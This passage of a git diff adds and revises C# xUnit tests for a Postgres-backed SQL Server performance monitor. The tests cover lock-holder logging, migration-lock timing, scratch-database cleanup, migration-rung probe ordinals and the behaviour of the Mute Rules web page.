+            Assert.DoesNotContain($"pid {observer.ProcessID} ", line, StringComparison.Ordinal);
+
+            /* A client session's query text is never logged. The line also lists any autovacuum worker that holds a lock on a collect
+               table while the test runs, and that worker's entry carries its first 200 characters of query text by design (#5617), so
+               "query:" is checked per entry, not on the whole line. */
+            Assert.DoesNotContain("5582 holder", line, StringComparison.Ordinal);
+            Assert.DoesNotContain("5582 reader", line, StringComparison.Ordinal);
+            var entries = SplitHolderEntries(line);
+            Assert.Contains(entries, e => e.StartsWith($"pid {holderPid} ", StringComparison.Ordinal));
+            Assert.Contains(entries, e => e.StartsWith($"pid {readerPid} ", StringComparison.Ordinal));
+            foreach (var entry in entries)
+            {
+                if (entry.StartsWith($"pid {holderPid} ", StringComparison.Ordinal) || entry.StartsWith($"pid {readerPid} ", StringComparison.Ordinal))
+                {
+                    Assert.DoesNotContain("query:", entry, StringComparison.Ordinal);
+                }
+
+                if (entry.Contains("query:", StringComparison.Ordinal))
+                {
+                    Assert.Contains("(autovacuum worker)", entry, StringComparison.Ordinal);
+                }
+            }
+
+            /* The lookup's SET LOCAL limits end with its transaction and do not leak into the caller's session. */
+            await using (var show = new NpgsqlCommand("SHOW statement_timeout", observer))
+            {
+                Assert.NotEqual("5s", (string?)await show.ExecuteScalarAsync(TestContext.Current.CancellationToken));
+            }
+
+            /* The second call inside the ten minutes says nothing. */
+            await PgMigrations.LogLockHoldersAsync(observer, logger, 173, "the rung", "again", TestContext.Current.CancellationToken);
+            Assert.Single(logger.Lines);
+
+            /* A fault in the diagnostic is swallowed: a closed connection must not throw out of the log call. */
+            PgMigrations.ResetLockHolderLogThrottleForTests();
+            await using var closed = new NpgsqlConnection(connectionString);
+            var failed = new CapturingLogger();
+            await PgMigrations.LogLockHoldersAsync(closed, failed, 173, "the rung", "closed", TestContext.Current.CancellationToken);
+            Assert.Empty(failed.Lines);
+
+            /* A failed lookup does not claim the ten minutes: the next attempt on a working connection still logs. */
+            await PgMigrations.LogLockHoldersAsync(observer, failed, 173, "the rung", "after the failure", TestContext.Current.CancellationToken);
+            Assert.Single(failed.Lines);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            PgMigrations.ResetLockHolderLogThrottleForTests();
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, async () =>
+            {
+                await transaction.RollbackAsync(CancellationToken.None);
+                await readerTransaction.RollbackAsync(CancellationToken.None);
+            });
+        }
+    }
+
+    /// <summary>Splits the holders part of a lock-holder log line into its entries, one per session (#5617). An entry starts
+    /// <c>pid N (</c>; splitting on that start, not on every semicolon, keeps a semicolon inside an autovacuum query in its entry.</summary>
+    private static string[] SplitHolderEntries(string line)
+    {
+        const string Marker = "Sessions holding a lock on a collect table: ";
+        var at = line.IndexOf(Marker, StringComparison.Ordinal);
+        Assert.True(at >= 0, "the lock-holder log line lost its holders list");
+        return System.Text.RegularExpressions.Regex.Split(line[(at + Marker.Length)..], @"; (?=pid \d+ \()");
+    }
+
+    [Fact]
+    public async Task ACancelDuringTheLookup_Propagates_AndLeavesTheThrottleUnclaimed_AgainstDevPostgres()
+    {
+        var connectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live lock-holder log test.");
+
+        await using var observer = new NpgsqlConnection(connectionString);
+        await observer.OpenAsync(TestContext.Current.CancellationToken);
+        await PgMigrations.MigrateAsync(observer, TestContext.Current.CancellationToken);
+
+        var bodySucceeded = false;
+        try
+        {
+            PgMigrations.ResetLockHolderLogThrottleForTests();
+            using var cancelled = new CancellationTokenSource();
+            await cancelled.CancelAsync();
+            var logger = new CapturingLogger();
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(() =>
+                PgMigrations.LogLockHoldersAsync(observer, logger, 173, "the rung", "shutdown", cancelled.Token));
+            Assert.Empty(logger.Lines);
+            Assert.True(PgMigrations.IsLockHolderLogDue(DateTime.UtcNow), "a cancelled lookup must not claim the ten minutes");
+            bodySucceeded = true;
+        }
+        finally
+        {
+            PgMigrations.ResetLockHolderLogThrottleForTests();
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheLookupLimits_AreValidSetLocalStatements_AgainstDevPostgres()
+    {
+        var connectionString = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live lock-holder log test.");
+
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        var transaction = await connection.BeginTransactionAsync(TestContext.Current.CancellationToken);
+        var bodySucceeded = false;
+        try
+        {
+            await using (var limits = new NpgsqlCommand(PgMigrations.LockHolderLookupLimitsSql, connection, transaction))
+            {
+                await limits.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+            }
+
+            await using (var show = new NpgsqlCommand("SELECT current_setting('statement_timeout') || '/' || current_setting('lock_timeout')", connection, transaction))
+            {
+                Assert.Equal("5s/2s", (string?)await show.ExecuteScalarAsync(TestContext.Current.CancellationToken));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, async () => await transaction.RollbackAsync(CancellationToken.None));
+        }
+    }
+
+    [Fact]
+    public void TheLookup_RunsInItsOwnTransactionWithLimits_ListsEveryMode_AndReadsQueryTextOnlyForAutovacuum()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "PgMigrations.cs").Replace("\r\n", "\n", StringComparison.Ordinal);
+        var start = source.IndexOf("internal static async Task LogLockHoldersAsync(", StringComparison.Ordinal);
+        var end = source.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        var body = source[start..end];
+
+        var begin = body.IndexOf("connection.BeginTransactionAsync(", StringComparison.Ordinal);
+        var limits = body.IndexOf("LockHolderLookupLimitsSql", StringComparison.Ordinal);
+        var query = body.IndexOf("new NpgsqlCommand(LockHoldersSql, connection, lookup)", StringComparison.Ordinal);
+        var commit = body.IndexOf("lookup.CommitAsync(", StringComparison.Ordinal);
+        Assert.True(begin > 0 && limits > begin && query > limits && commit > query, "begin, set the limits, run the lookup, commit");
+        Assert.Contains("limits.ExecuteNonQueryAsync(", body[limits..query], StringComparison.Ordinal);
+
+        var claim = body.IndexOf("TryClaimLockHolderLog(", StringComparison.Ordinal);
+        Assert.True(claim > commit, "the ten minutes are claimed after the lookup worked, not before it runs");
+        Assert.Contains("ex is not OperationCanceledException and not OutOfMemoryException", body, StringComparison.Ordinal);
+
+        Assert.DoesNotContain("l.mode IN", PgMigrations.LockHoldersSql, StringComparison.Ordinal);
+        Assert.Contains("CASE WHEN a.backend_type = 'autovacuum worker' THEN left(a.query, 200) END", PgMigrations.LockHoldersSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("a.query", PgMigrations.LockHoldersSql.Replace("CASE WHEN a.backend_type = 'autovacuum worker' THEN left(a.query, 200) END", string.Empty, StringComparison.Ordinal), StringComparison.Ordinal);
+    }
+
+    private sealed class CapturingLogger : ILogger
+    {
+        public List<string> Lines { get; } = new();
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            if (logLevel >= LogLevel.Warning)
+            {
+                Lines.Add(formatter(state, exception));
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/MigrationLockUncontendedAcquireTimingTests.cs b/Darling/Darling.Tests/MigrationLockUncontendedAcquireTimingTests.cs
new file mode 100644
index 0000000000..ee8833d737
--- /dev/null
+++ b/Darling/Darling.Tests/MigrationLockUncontendedAcquireTimingTests.cs
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fact mints its own scratch database through ScratchPostgres. */
+
+/// <summary>
+/// #5602: the one check in <see cref="MigrationLockWaitContentionTests"/> that judges a clock, in the <c>timing</c>
+/// collection so it runs alone, after the parallel classes.
+///
+/// <para><b>Why it left the contention class.</b> That class sits in <c>live-postgres</c> (its other facts hold the real
+/// migration lock on the shared store), and a <c>live-postgres</c> class runs in parallel with every non-live class, so a
+/// 750 ms bar against a one second poll sleep was judged against the runner's load. This fact needs no shared store: the
+/// advisory lock is per database, so a scratch database of its own has nobody to contend with, and the class can join
+/// <c>timing</c> (<c>TimingCollection</c> does not carry the shared-store fixture).</para>
+///
+/// <para><b>What it keeps.</b> The same two-sided bar. The shipped poll interval is one second, so a ceiling below a
+/// second separates "took the lock on the first attempt" from "slept once first" — which matters because moving the sleep
+/// above the first attempt is a RELOCATION, and every occurrence count stays 1, so no structural check sees it and only
+/// elapsed time can. The operation is a single round trip on a connection that is already open and already migrated, which
+/// is sub-millisecond against a local store, so 750 ms leaves roughly three orders of magnitude of headroom.</para>
+/// </summary>
+[Collection("timing")]
+public sealed class MigrationLockUncontendedAcquireTimingTests
+{
+    /// <summary>Same budget the contention class uses: long enough to be several poll intervals, so a slept-first build would have time to loop.</summary>
+    private const int TestWaitBudgetSeconds = 3;
+
+    private static readonly TimeSpan UncontendedAcquireCeiling = TimeSpan.FromMilliseconds(750);
+
+    [Fact]
+    public async Task AcquireSucceedsFirstAttempt_WhenNobodyHoldsTheLock_AgainstDevPostgres()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live migration-lock tests.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        /* The uncontended path must cost nothing: polling is only a fallback shape, and if the first
+           attempt did not succeed outright then every ordinary service start pays a poll interval. */
+        var started = Stopwatch.StartNew();
+        Assert.True(await PgMigrations.TryAcquireMigrationLockForTestsAsync(
+            connection, logger: null, TestWaitBudgetSeconds, ct));
+        started.Stop();
+
+        /* Release in a finally, not after the assertion: Npgsql pools, so disposing the connection hands the physical
+           session, advisory lock and all, back to the pool rather than closing it. */
+        var bodySucceeded = false;
+        try
+        {
+            Assert.True(
+                started.Elapsed < UncontendedAcquireCeiling,
+                $"An uncontended acquire took {started.Elapsed.TotalMilliseconds:F0}ms, over the "
+                + $"{UncontendedAcquireCeiling.TotalMilliseconds:F0}ms ceiling — it slept a poll interval "
+                + "instead of taking the lock on its first attempt.");
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(
+                bodySucceeded,
+                async () =>
+                {
+                    using var command = new NpgsqlCommand("SELECT pg_advisory_unlock($1)", connection) { CommandTimeout = 30 };
+                    command.Parameters.AddWithValue(PgMigrations.MigrationLockKeyForTests);
+                    await command.ExecuteNonQueryAsync(CancellationToken.None);
+                });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/MigrationLockWaitContentionTests.cs b/Darling/Darling.Tests/MigrationLockWaitContentionTests.cs
index 2cb5c8591c..85787468af 100644
--- a/Darling/Darling.Tests/MigrationLockWaitContentionTests.cs
+++ b/Darling/Darling.Tests/MigrationLockWaitContentionTests.cs
@@ -61,60 +61,8 @@ public sealed class MigrationLockWaitContentionTests
     /// </summary>
     private const int TestWaitBudgetSeconds = 3;
 
-    /// <summary>
-    /// Ceiling for an UNCONTENDED acquire. Two-sided, and the upper side is what does the work: the
-    /// shipped poll interval is one second, so any ceiling below a second separates "took the lock on the
-    /// first attempt" from "slept once first" — which matters because moving the sleep above the first
-    /// attempt is a RELOCATION, and every occurrence count stays 1, so no structural check sees it and
-    /// only elapsed time can. The lower side is headroom: the operation is a single round trip on a
-    /// connection that is already open and already migrated, which is sub-millisecond against a local
-    /// store, so 750 ms leaves roughly three orders of magnitude before a slow runner can flake it.
-    /// </summary>
-    private static readonly TimeSpan UncontendedAcquireCeiling = TimeSpan.FromMilliseconds(750);
-
     private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
 
-    [Fact]
-    public async Task AcquireSucceedsFirstAttempt_WhenNobodyHoldsTheLock_AgainstDevPostgres()
-    {
-        var connectionString = ConnectionString;
-        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
-            "Set DARLING_TEST_PG to a Postgres connection string to run the live migration-lock tests.");
-
-        await using var connection = new NpgsqlConnection(connectionString);
-        await connection.OpenAsync(TestContext.Current.CancellationToken);
-        await PgMigrations.MigrateAsync(connection, TestContext.Current.CancellationToken);
-
-        /* The uncontended path must cost nothing: polling is only a fallback shape, and if the first
-           attempt did not succeed outright then every ordinary service start pays a poll interval. */
-        var started = Stopwatch.StartNew();
-        Assert.True(await PgMigrations.TryAcquireMigrationLockForTestsAsync(
-            connection, logger: null, TestWaitBudgetSeconds, TestContext.Current.CancellationToken));
-        started.Stop();
-
-        /* Release in a finally, not after the assertion. Npgsql pools by default, so disposing the
-           connection hands the physical session — advisory lock and all — back to the pool rather than
-           closing it, and a lock leaked by a failed assertion then blocks every later class in this
-           collection until the pool prunes that connection. Measured: a leak here cost a sibling test
-           290 s of waiting on a lock nothing was using. */
-        var bodySucceeded = false;
-        try
-        {
-            Assert.True(
-                started.Elapsed < UncontendedAcquireCeiling,
-                $"An uncontended acquire took {started.Elapsed.TotalMilliseconds:F0}ms, over the "
-                + $"{UncontendedAcquireCeiling.TotalMilliseconds:F0}ms ceiling — it slept a poll interval "
-                + "instead of taking the lock on its first attempt.");
-            bodySucceeded = true;
-        }
-        finally
-        {
-            await LiveStoreCleanup.RunOwnedAsync(
-                bodySucceeded,
-                () => ReleaseAsync(connection, CancellationToken.None));
-        }
-    }
-
     [Fact]
     public async Task ExpiryReturnsFalseWithoutThrowing_WhenTheStoreIsAlreadyCurrent_AgainstDevPostgres()
     {
diff --git a/Darling/Darling.Tests/MigrationUpgradeLadderLiveTests.cs b/Darling/Darling.Tests/MigrationUpgradeLadderLiveTests.cs
index 5b8f3a999a..916486b87e 100644
--- a/Darling/Darling.Tests/MigrationUpgradeLadderLiveTests.cs
+++ b/Darling/Darling.Tests/MigrationUpgradeLadderLiveTests.cs
@@ -121,7 +121,9 @@ public async Task PreviousReleaseStore_ClimbsTheCurrentLadder_ToTheTop(string fi
         /* Scratch database, dropped and recreated per run — the fixture creates schemas, hypertables,
            roles-adjacent grants, and the version table, none of which may leak between runs. The
            darling role is cluster-level and idempotently ensured (rung SQL grants to it). */
-        await using (var admin = new NpgsqlConnection(baseConnectionString))
+        /* #5549: unpooled, because this connection runs the FORCE drop. A pooled one would hand the backend that ran it
+           to the next test, and a TimescaleDB job run on that backend crashed it with 0xC0000005. */
+        await using (var admin = new NpgsqlConnection(ScratchPostgres.UnpooledAdminConnectionString(baseConnectionString)))
         {
             await admin.OpenAsync();
             await using (var role = new NpgsqlCommand(
@@ -138,6 +140,8 @@ alternative failure is a socket error thrown a long way from its cause. */
             var scratchForPool = new NpgsqlConnectionStringBuilder(baseConnectionString) { Database = scratchDatabase };
             NpgsqlConnection.ClearPool(new NpgsqlConnection(scratchForPool.ConnectionString));
 
+            /* No TimescaleDB job worker is left in the database the FORCE drop below kills (#5480). */
+            await ScratchPostgres.QuiesceTimescaleJobsAsync(baseConnectionString, scratchDatabase);
             await using (var drop = new NpgsqlCommand(
                 $"DROP DATABASE IF EXISTS {scratchDatabase} WITH (FORCE)", admin))
             {
diff --git a/Darling/Darling.Tests/MuteRuleReloadRetentionTests.cs b/Darling/Darling.Tests/MuteRuleReloadRetentionTests.cs
index ccc3b45635..11ced2a367 100644
--- a/Darling/Darling.Tests/MuteRuleReloadRetentionTests.cs
+++ b/Darling/Darling.Tests/MuteRuleReloadRetentionTests.cs
@@ -99,6 +99,7 @@ public Task DeleteExpiredAsync(IReadOnlyList<string> expiredIds)
 /// never updates at all, so each one has an arm beside it proving a legitimately-empty read still empties
 /// the cache.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class MuteRuleReloadRetentionTests
 {
     private static MuteRule Rule(string id, string? metric = "High CPU") => new()
diff --git a/Darling/Darling.Tests/MuteRuleServerIdRungTests.cs b/Darling/Darling.Tests/MuteRuleServerIdRungTests.cs
index 17b978ec10..62afa49b6d 100644
--- a/Darling/Darling.Tests/MuteRuleServerIdRungTests.cs
+++ b/Darling/Darling.Tests/MuteRuleServerIdRungTests.cs
@@ -35,7 +35,7 @@ public sealed class MuteRuleServerIdRungTests
 {
     public const string RungName = "mute-rule-server-id";
 
-    /// <summary>The probe's newest sentinel, so the last argument; the ordinal is a fact of the probe's shape.</summary>
+    /// <summary>This rung's sentinel ordinal in the probe; the ordinal is a fact of the probe's shape.</summary>
     private const int ProbeOrdinal = 132;
 
     public static int RungVersion => Rung.Version;
@@ -43,12 +43,13 @@ public sealed class MuteRuleServerIdRungTests
     private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
 
     [Fact]
-    public void TheRungIsTheTopOfADenseLadder_AtVersion157()
+    public void TheRungIsRegisteredInADenseLadder_AtVersion157()
     {
         var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
 
-        Assert.Equal(157, StorageVersion.SchemaVersion);
         Assert.Equal(157, Rung.Version);
+        /* No longer the top rung: V158 (the install id) landed above it. */
+        Assert.True(Rung.Version < StorageVersion.SchemaVersion);
         Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
         Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
         Assert.Contains(Rung.Version - 1, versions);
@@ -66,24 +67,21 @@ public void TheRungAddsOneNullableServerIdColumn_IdempotentlyAndSchemaQualified(
     }
 
     [Fact]
-    public void TheProbeCarriesTheColumnAsItsLastArm_AndMapsFullyMigratedToTheTopRung()
+    public void TheProbeCarriesTheColumn_AndMapsAStoreThroughThisRungToIt()
     {
         var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
         var arm = "table_schema = 'config' AND table_name = 'config_mute_rules' AND column_name = 'server_id'";
         Assert.Contains(arm, probe, StringComparison.Ordinal);
-        Assert.True(probe.LastIndexOf("EXISTS", StringComparison.Ordinal) < probe.IndexOf(arm, StringComparison.Ordinal),
-            "the new arm is the probe's last EXISTS, so it reads at the next ordinal");
 
         var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
         Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
-        Assert.DoesNotContain($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
 
         var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
         var arity = method.GetParameters().Length;
-        Assert.Equal(ProbeOrdinal, arity - 1);
+        Assert.True(ProbeOrdinal < arity - 1, "a newer rung's sentinel follows this one");
         Assert.Equal("hasMuteRuleServerId", method.GetParameters()[ProbeOrdinal].Name);
 
-        var all = Enumerable.Repeat((object)true, arity).ToArray();
+        var all = Enumerable.Range(0, arity).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
         Assert.Equal(157, (int)method.Invoke(null, all)!);
 
         var behind = (object[])all.Clone();
diff --git a/Darling/Darling.Tests/MuteRulesBehaviourTests.cs b/Darling/Darling.Tests/MuteRulesBehaviourTests.cs
new file mode 100644
index 0000000000..3f5946b8ba
--- /dev/null
+++ b/Darling/Darling.Tests/MuteRulesBehaviourTests.cs
@@ -0,0 +1,199 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System;
+using System.Diagnostics;
+using System.Threading.Tasks;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Notifications;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Mute Rules page's form logic, from the shipped <c>mute-rules.js</c> run under Node
+/// (<c>mute-rules-harness.mjs</c>): which fields a PATCH carries, the explicit-null clear, the empty-create
+/// warning and each server response the page handles. Skipped when Node is not installed.
+/// </summary>
+public sealed class MuteRulesBehaviourTests
+{
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "mute-rules-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "mute-rules.js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the mute rules harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the mute rules harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    [Fact]
+    public void APatchCarriesOnlyTheChangedFields_AndNeverEnabled()
+    {
+        if (!TryRun("patch", out var r)) return;
+
+        Assert.Equal("{\"reason\":\"now quiet\"}", r.GetProperty("onlyChanged").GetRawText());
+        Assert.Equal("{}", r.GetProperty("nothing").GetRawText());
+        Assert.False(r.GetProperty("withEnabled").GetBoolean());
+    }
+
+    [Fact]
+    public void ABlankedField_IsSentAsAnExplicitNull()
+    {
+        if (!TryRun("clear", out var r)) return;
+
+        Assert.Equal("{\"server_name\":null}", r.GetProperty("cleared").GetRawText());
+        Assert.Equal("{\"expires_at_utc\":null}", r.GetProperty("expiryCleared").GetRawText());
+    }
+
+    [Fact]
+    public void AnEmptyCreate_IsRecognised_AndATrimmedBodyHoldsOnlyFilledFields()
+    {
+        if (!TryRun("empty", out var r)) return;
+
+        Assert.True(r.GetProperty("blank").GetBoolean());
+        Assert.True(r.GetProperty("reasonOnly").GetBoolean());
+        Assert.False(r.GetProperty("scoped").GetBoolean());
+        Assert.Equal("{\"server_name\":\"A\",\"metric_name\":\"M\"}", r.GetProperty("body").GetRawText());
+        Assert.Contains("mute EVERY alert", r.GetProperty("warning").GetString());
+    }
+
+    [Fact]
+    public void EachServerResponse_IsInterpretedForThePage()
+    {
+        if (!TryRun("writes", out var r)) return;
+
+        var exists = r.GetProperty("exists");
+        Assert.Equal("exists", exists.GetProperty("kind").GetString());
+        Assert.Equal("abc", exists.GetProperty("existingId").GetString());
+        var invalid = r.GetProperty("invalid");
+        Assert.Equal("invalid", invalid.GetProperty("kind").GetString());
+        Assert.Equal("expires_at_utc", invalid.GetProperty("field").GetString());
+        Assert.Equal("notfound", r.GetProperty("notfound").GetProperty("kind").GetString());
+        Assert.Equal("readonly", r.GetProperty("readonly").GetProperty("kind").GetString());
+        Assert.Equal("n1", r.GetProperty("created").GetProperty("rule").GetProperty("id").GetString());
+    }
+
+    /* The pin through the product's own matching: the body the page's "Mute this alert" produces is created by
+       the real create core and judged by MuteRule.MatchesAt against the context the producer builds for that
+       alert (DarlingWorker passes the stored name and the store id; the self-alert family passes its stored label
+       and no id). The display name deliberately differs from the stored one. */
+    private static async Task<MuteRule> CreateFrom(JsonElement body, int registeredId)
+    {
+        var store = new FakeMuteRuleStore();
+        var result = await DarlingMcpAlertTools.CreateMuteRuleCore(store, body.GetRawText(),
+            id => Task.FromResult<string?>(id == registeredId ? "stored-host" : null));
+        Assert.Equal("created", DarlingMcpTestData.StatusOf(result));
+        var id = (string)JsonNode.Parse(result)!["mute_rule"]!["id"]!;
+        return store.Row(id)!;
+    }
+
+    [Fact]
+    public async Task MuteThisAlert_OnAnEngineRow_MatchesTheProducersContext_AndNotAnotherServer()
+    {
+        if (!TryRun("bodies", out var r)) return;
+        var rule = await CreateFrom(r.GetProperty("engine"), 7);
+        var now = DateTime.UtcNow;
+
+        Assert.True(rule.MatchesAt(new AlertMuteContext { ServerName = "stored-host", ServerId = 7, MetricName = "High CPU" }, now));
+        Assert.False(rule.MatchesAt(new AlertMuteContext { ServerName = "stored-host", ServerId = 8, MetricName = "High CPU" }, now));
+        Assert.False(rule.MatchesAt(new AlertMuteContext { ServerName = "stored-host", ServerId = 7, MetricName = "Blocking" }, now));
+
+        var narrowed = await CreateFrom(r.GetProperty("engineDetail"), 7);
+        Assert.True(narrowed.MatchesAt(new AlertMuteContext { ServerName = "stored-host", ServerId = 7, MetricName = "High CPU", DatabaseName = "Sales", WaitType = "LCK_M_X" }, now));
+        Assert.False(narrowed.MatchesAt(new AlertMuteContext { ServerName = "stored-host", ServerId = 7, MetricName = "High CPU", DatabaseName = "Other", WaitType = "LCK_M_X" }, now));
+    }
+
+    [Fact]
+    public async Task MuteThisAlert_OnASelfAlertRow_MatchesItsStoredLabel_AndNotAnotherServer()
+    {
+        if (!TryRun("bodies", out var r)) return;
+        var rule = await CreateFrom(r.GetProperty("self"), 0);
+        var now = DateTime.UtcNow;
+
+        Assert.False(r.GetProperty("self").TryGetProperty("server_id", out _));
+        Assert.True(rule.MatchesAt(new AlertMuteContext { ServerName = "Monitor Store", MetricName = "Disk Pressure" }, now));
+        Assert.False(rule.MatchesAt(new AlertMuteContext { ServerName = "other-host", MetricName = "Disk Pressure" }, now));
+    }
+
+    [Fact]
+    public void ThePrefill_ParsesDetailText_LikeTheDesktop_AndKeysOnTheIdOnlyWhenOneExists()
+    {
+        if (!TryRun("prefill", out var r)) return;
+
+        var engine = r.GetProperty("engine");
+        Assert.Equal(7, engine.GetProperty("server_id").GetInt32());
+        Assert.Equal("stored-host", engine.GetProperty("server_name").GetString());
+        var self = r.GetProperty("self");
+        Assert.Equal(JsonValueKind.Null, self.GetProperty("server_id").ValueKind);
+        Assert.Equal("Monitor Store", self.GetProperty("server_name").GetString());
+        Assert.Equal("Display Name", r.GetProperty("oldPayload").GetProperty("server_name").GetString());
+
+        var detail = r.GetProperty("detail");
+        Assert.Equal("Sales", detail.GetProperty("database_pattern").GetString());
+        Assert.Equal("LCK_M_X", detail.GetProperty("wait_type_pattern").GetString());
+        Assert.Equal("Nightly", detail.GetProperty("job_name_pattern").GetString());
+        Assert.Equal("SELECT 1 FROM t", detail.GetProperty("query_text_pattern").GetString());
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("custom").GetProperty("database_pattern").ValueKind);
+        Assert.Equal(200, r.GetProperty("longQuery").GetInt32());
+        Assert.Equal(7, r.GetProperty("body").GetProperty("server_id").GetInt32());
+    }
+
+    [Fact]
+    public void AnExpiredSession_IsSignInNotReadOnly_AndAnUnparseable2xxIsNotASave()
+    {
+        if (!TryRun("expiry", out var r)) return;
+
+        Assert.Equal("expired", r.GetProperty("s401").GetProperty("kind").GetString());
+        Assert.Equal("readonly", r.GetProperty("s403").GetProperty("kind").GetString());
+        Assert.Equal("expired", r.GetProperty("html200").GetProperty("kind").GetString());
+        Assert.Equal("expired", r.GetProperty("empty200").GetProperty("kind").GetString());
+        Assert.Equal("ok", r.GetProperty("json201").GetProperty("kind").GetString());
+        /* The 401 reached the shared sign-in takeover; the 403 did not. */
+        Assert.Equal(1, r.GetProperty("after401").GetInt32());
+        Assert.Equal(1, r.GetProperty("after403").GetInt32());
+    }
+
+    [Fact]
+    public void CancellingTheForm_LetsTheSameMuteLinkReopenIt()
+    {
+        if (!TryRun("reopen", out var r)) return;
+
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("last").ValueKind);
+    }
+}
diff --git a/Darling/Darling.Tests/MuteRulesPageTests.cs b/Darling/Darling.Tests/MuteRulesPageTests.cs
new file mode 100644
index 0000000000..c9dd48f37d
--- /dev/null
+++ b/Darling/Darling.Tests/MuteRulesPageTests.cs
@@ -0,0 +1,82 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.IO;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the Mute Rules page: its read, the four write routes and their methods, the can_edit gate, the nav entry and the route.</summary>
+public sealed class MuteRulesPageTests
+{
+    private static string Page() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "mute-rules.js").ReplaceLineEndings("\n");
+
+    private static string Wwwroot(params string[] parts) =>
+        ReadRepoFile([.. new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot" }, .. parts]).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void ThePageReadsGetMuteRules_IncludingPausedAndExpiredRules()
+    {
+        Assert.Contains("readTool(\"get_mute_rules\", { enabled_only: false })", Page());
